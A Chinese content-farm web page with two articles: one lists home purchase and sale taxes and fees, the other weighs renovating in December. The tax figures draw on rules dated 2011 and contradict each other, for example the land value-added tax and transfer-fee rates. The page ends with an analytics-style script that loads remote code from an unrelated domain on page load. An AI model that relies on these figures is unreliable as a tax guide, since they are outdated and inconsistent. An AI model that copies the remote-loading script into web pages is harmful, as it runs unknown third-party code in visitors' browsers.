买卖房屋需要交的税都有哪些

买卖房屋的时候，除了卖方还是买方，都需要缴纳相应税费。但是对于买家或是卖家来说都会去关心具体的税费问题，很多人也打算了解买卖房屋中所缴纳的税费，让自己在买房或是买房的时候能够清楚，避免计算错误影响给自己带来麻烦。随着买房或买房的行为越来越热络，在现实生活中我们了解到房屋税费也开始增多。那么，买卖房屋需要交的税都有哪些?买卖房屋需要交的税(一)契税1、符合住宅小区建筑容积率在1.0(含)以上、二手房交易税费单套建筑面积在140(含)平方米以下(在120平方米基础上上浮16.7%)、实际成交价低于同级别土地上住房平均交易价格1.2倍以下等三个条件的，视为普通住宅，征收房屋成交价或评估价的1.5%。反之则按3%。2、新政下的契税：普通住宅：90平米以下：1%;90-140平米：1.5%;140平米以上或是非普宅：3%;商业房或公司产权：3%(二)城市维护建设税营业税的7%。(三)教育费附加营业税的3%。(四)个人所得税1、普通住宅2年之内：{售房入-购房总额-(营业税+城建税+教育费附加税+印花税)}×20%;2、2年以上(含)5年以下的普通住宅：(售房收入-购房总额-印花税)×20%。出售公房;3、5年之内，(售房收入-经济房价款-土地出让金-合理费用)×20%，其中经济房价款=建筑面积×4000元/平方米，土地出让金=1560元/平方米×1%×建筑面积。出售不是家庭唯一住房的个税按房价的1%征收。(五)交易手续费3元/平方米×建筑面积(六)印花税房屋成交总额×0.05%(七)营业税2011年1月27日新通知规定：个人将购买不足5年的住房对外销售的，全额征收营业税;个人将购买超过5年(含5年)的非普通住房对外销售的，按照其销售收入减去购买房屋的价款后的差额征收营业税;个人将购买超过5年(含5年)的普通住房对外销售的，免征营业税。住宅5年内：房屋评估总额×5.6%;5年或5年以上普通住宅无营业税。(八)土地增值税普通住宅免征;非普通住宅3年内：房屋成交总额×0.5%，3年至5年：房屋成交总额×0.25%，5年或5年以上：免征。(九)房屋所有权登记费80元，共有权证：20元(十)买卖合同公证费买卖合同需要公证时才须缴纳，房屋成交总额×0.3%;(十一)过户费用1、契税;90平方米以下首次购房的按1%缴纳;90-140平方米按房价1.5%缴纳;140平方米以上按房价3%缴纳。(二套房按3%收取)2、营业税：房屋产权取得满五年的免征，未超过五年的按房价5.6%缴纳。3、土地增值税;房屋产权取得满五年的免征，未超过五年的按房价1%缴纳。4、个人所得税：房屋产权取得满五年的免征，未超过五年的按房价1%或房屋原值—房屋现值差额20%缴纳。(房屋原值一般按上道契税完税额计算)5、房屋交易手续费;按房屋建筑面积6元/平方米交纳6、房屋所有权登记费：80元。7、房屋评估费;按评估额0.5%缴纳买卖房屋需要交的税都有哪些?买卖房屋的时候要缴纳多少税费，会根据实际情况来看，比如房屋的面积、当地的住房政策等等，它们都会影响到需要缴纳的税费多少。卖方和买方在缴纳税费的项目上面会不太一样，很多卖方不希望出这笔税费，就会在卖房的时候跟房中介说清楚，让他们将这笔税费转嫁在买方的身上，目前这类的行为也很普遍。

12月装修房子好不好 具体有哪些优缺点

其实对于装修，很多人都有一个疑问，那就是12月装修房子好不好？毕竟年底是交房的高峰期，这时候又要面临冬季。虽然新房到手，但是寒冷的天气，让人不确定到底可以不可以进行装修。那么12月装修房子好不好呢？具体有哪些优缺点呢？其实12月份是可以装修的，虽然天气比较寒冷，但是不会影响装修的效果。值得注意的是，有可能会影响施工周期，这一点是比较重要的！一、12月装修房子好不好其实12月装修房子，是没有任何问题的。虽然12月的天气已经开始变得寒冷，但是对于装修来说，是没有任何影响的。因为年底是交房的高峰期，所以很多人都在犹豫，要不要等到明年春天再进行装修。其实是没有这个必要的，就算冬季来临，也不会给装修的效果，造成不好的影响。二、12月装修房子优点其实很多人，都怕12月份装修，会影响装修的质量。其实完全没有必要担心这个问题，12月装修甚至还有一定的好处。比如12月的时候，天气会非常干燥，这会让很多油漆、涂料施工干燥的特别快，施工效果也会非常好。而且木材的含水率会更低，使用效果也会更出色一些。三、12月装修房子缺点​当然12月装修，还是有缺点的。因为马上冬季就要来临，所以白天的时间就会变短，这样会影响施工的时间，大大增加了施工周期。装修最怕的就是，施工周期延长，这样也会增加一部分装修预算，是非常值得注意的问题！12月装修房子好不好，相信大家已经了解！其实就算在冬季装修，也是没有任何问题的。虽然天气很寒冷，但是不会影响施工效果的，可以放心的装修了！ var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();